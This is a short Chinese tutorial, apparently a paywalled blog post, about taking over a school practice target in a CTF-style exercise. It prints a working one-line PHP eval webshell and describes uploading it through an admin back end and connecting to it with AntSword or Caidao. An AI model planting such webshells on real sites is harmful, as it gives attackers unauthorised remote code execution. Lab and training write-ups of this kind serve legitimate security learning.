获取网站权限 首先获得需操作网址（下面演示的是学校练习靶机） 打开网址，利用上篇所讲知识得到后台管理员权限，登入后台管理 随机寻找可注入点，找到注入点根目录位置 如图，这个就是随机找到的可植入木马位置 先写好一个木马文件，即一句话木马 <?php @eval($_POST['shell']);?> 将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问，以POST方式传入shell=phpinfo();，或者用蚁剑或菜刀等工具连接（我这里用的是蚁剑）： 然后上传至可植入位置，如下图
本文介绍了如何通过植入一句话木马来获取网站权限。首先，通过学校的靶机实践，寻找后台管理员权限并登录。接着，确定可注入点，创建包含木马代码的webshell.php文件，并使用POST方式或工具（如蚁剑）上传到目标位置。成功上传后，通过访问文件验证木马植入，最后使用蚁剑连接并找到flag，完成权限获取。
最低0.47元/天 解锁文章
扫一扫
3317
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
